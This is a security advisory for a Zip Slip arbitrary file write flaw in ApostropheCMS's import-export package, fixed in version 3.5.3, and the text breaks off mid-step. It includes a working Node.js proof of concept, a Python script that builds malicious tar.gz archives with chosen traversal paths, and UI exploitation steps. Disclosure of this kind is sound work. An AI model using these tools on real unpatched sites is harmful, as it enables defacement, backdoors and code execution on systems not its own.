GHSA-mwxc-m426-3f78 ApostropheCMS has Arbitrary File Write (Zip Slip / Path Traversal) in Import-Export Gzip Extraction

• npm @apostrophecms/import-export: < 3.5.3 → fixed in 3.5.3

Reported: 2026-03-08 Status: patched and released in version 3.5.3 of `@apostrophecms/import-export` --- Product | Field | Value | |---|---| | Repository | `apostrophecms/apostrophe` (monorepo) | | Affected Package | `@apostrophecms/import-export` | | Affected File | `packages/import-export/lib/formats/gzip.js` | | Affected Function | `extract(filepath, exportPath)` — lines ~132–157 | | Minimum Required Permission | Global Content Modify (any editor-level user with import access) | --- Vulnerability Summary The `extract()` function in `gzip.js` constructs file-write paths using: ```js fs.createWriteStream(path.join(exportPath, header.name)) ``` `path.join()` does not resolve or sanitise traversal segments such as `../`. It concatenates them as-is, meaning a tar entry named `../../evil.js` resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened. This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission — a role routinely assigned to content editors and site managers — can upload a crafted `.tar.gz` file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem. --- Security Impact This vulnerability provides unauthenticated-equivalent arbitrary file write to any user with content editor permissions. The full impact chain is: 1. Arbitrary File Write Write any file to any path the Node.js process user can access. Confirmed writable targets in testing: • Any path the CMS process has permission to 2. Static Web Directory — Defacement & Malicious Asset Injection ApostropheCMS serves `/public/` via Express static middleware: ```js // packages/apostrophe/modules/@apostrophecms/asset/index.js express.static(self.apos.rootDir + '/public', self.options.static || {}) ``` A traversal payload targeting `public/` makes any uploaded file directly HTTP-accessible: This enables: • Full site defacement • Serving phishing pages from the legitimate CMS domain • Injecting malicious JavaScript served to all site visitors (stored XSS at scale) 3. Persistent Backdoor / RCE (Post-Restart) If the traversal targets any `.js` file loaded by Node.js on startup (e.g., a module `index.js`, a config file, a routes file), the payload becomes a persistent backdoor that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure — meaning the attacker does not need to manually trigger one. 4. Credential and Secret File Overwrite Overwrite `.env`, `app.config.js`, database seed files, or any config file to: • Exfiltrate database credentials on next load • Redirect authentication to an attacker-controlled backend • Disable security controls (rate limiting, MFA, CSRF) 5. Denial of Service Overwrite any critical application file (`package.json`, `node_modules` entries, etc.) with garbage data, rendering the application unbootable. --- Required Permission Global Content Modify — this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is not an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed. --- Proof of Concept Two PoC artifacts are provided: | File | Purpose | |---|---| | `tmp-import-export-zip-slip-poc.js` | Automated Node.js harness — verifies the write happens without a browser | | `make-slip-tar.py` | Attacker tool — generates a real `.tar.gz` for upload via the CMS web UI | --- PoC 1 — Automated Verification (`tmp-import-export-zip-slip-poc.js`) ```js const fs = require('node:fs'); const fsp = require('node:fs/promises'); const path = require('node:path'); const os = require('node:os'); const zlib = require('node:zlib'); const tar = require('tar-stream'); const gzipFormat = require('./packages/import-export/lib/formats/gzip.js'); async function makeArchive(archivePath) { const pack = tar.pack(); const gzip = zlib.createGzip(); const out = fs.createWriteStream(archivePath); const done = new Promise((resolve, reject) => { out.on('finish', resolve); out.on('error', reject); gzip.on('error', reject); pack.on('error', reject); }); pack.pipe(gzip).pipe(out); pack.entry({ name: 'aposDocs.json' }, '[]'); pack.entry({ name: 'aposAttachments.json' }, '[]'); // Traversal payload pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED_FROM_TAR'); pack.finalize(); await done; } (async () => { const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-')); const archivePath = path.join(base, 'evil-export.gz'); const exportPath = archivePath.replace(/\.gz$/, ''); await makeArchive(archivePath); const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt'); // Ensure clean pre-state try { await fsp.unlink(expectedOutsideWrite); } catch (_) {} await gzipFormat.input(archivePath); const exists = fs.existsSync(expectedOutsideWrite); const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : ''; console.log('EXPORT_PATH:', exportPath); console.log('EXPECTED_OUTSIDE_WRITE:', expectedOutsideWrite); console.log('ZIP_SLIP_WRITE_HAPPENED:', exists); console.log('WRITTEN_CONTENT:', content.trim()); })(); ``` Run: ```powershell node .\tmp-import-export-zip-slip-poc.js ``` Observed output (confirmed): ``` EXPORT_PATH: C:\Users\...\AppData\Local\Temp\apos-zip-slip-XXXXXX\evil-export EXPECTED_OUTSIDE_WRITE: C:\Users\...\AppData\Local\Temp\zip-slip-pwned.txt ZIP_SLIP_WRITE_HAPPENED: true WRITTEN_CONTENT: PWNED_FROM_TAR ``` The file `zip-slip-pwned.txt` is written two directories above the extraction root, confirming path traversal. --- PoC 2 — Web UI Exploitation (`make-slip-tar.py`) Script (`make-slip-tar.py`): ```python import tarfile, io, sys if len(sys.argv) != 3: print("Usage: python make-slip-tar.py ") sys.exit(1) payload_file = sys.argv[1] target_path = sys.argv[2] out = "evil-slip.tar.gz" with open(payload_file, "rb") as f: payload = f.read() with tarfile.open(out, "w:gz") as t: docs = io.BytesIO(b"[]") info = tarfile.TarInfo("aposDocs.json") info.size = len(docs.getvalue()) t.addfile(info, docs) atts = io.BytesIO(b"[]") info = tarfile.TarInfo("aposAttachments.json") info.size = len(atts.getvalue()) t.addfile(info, atts) info = tarfile.TarInfo(target_path) info.size = len(payload) t.addfile(info, io.BytesIO(payload)) print("created", out) ``` --- Steps to Reproduce (Web UI — Real Exploitation) Step 1 — Create the payload file Create a file with the content you want to write to the server. For a static web directory write: ```bash echo "alert('XSS')" > payload.html ``` Step 2 — Generate the malicious archive Use the traversal path that reaches the CMS `public/` directory. The number of `../` segments depends on where the CMS stores its temporary extraction directory relative to the project root — typically 2–4 levels up. Adjust as needed: ```bash python make-slip-tar.py payload.html "../../../..//public/injected.html" ``` This creates `evil-slip.tar.gz` containing: • `aposDocs.json` — empty, required by the importer • `aposAttachments.json` — empty, required by the importer • `../../../..//public/injected.html` — the traversal payload Step 3 — Upload via CMS Import UI 1. Log in to the CMS with any account that has Global Content Modify permission. 2. Navigate to Open Global Settings → More Options → Import. 3. Select `evil-slip.tar.gz` and click Import. 4. The CMS accepts th…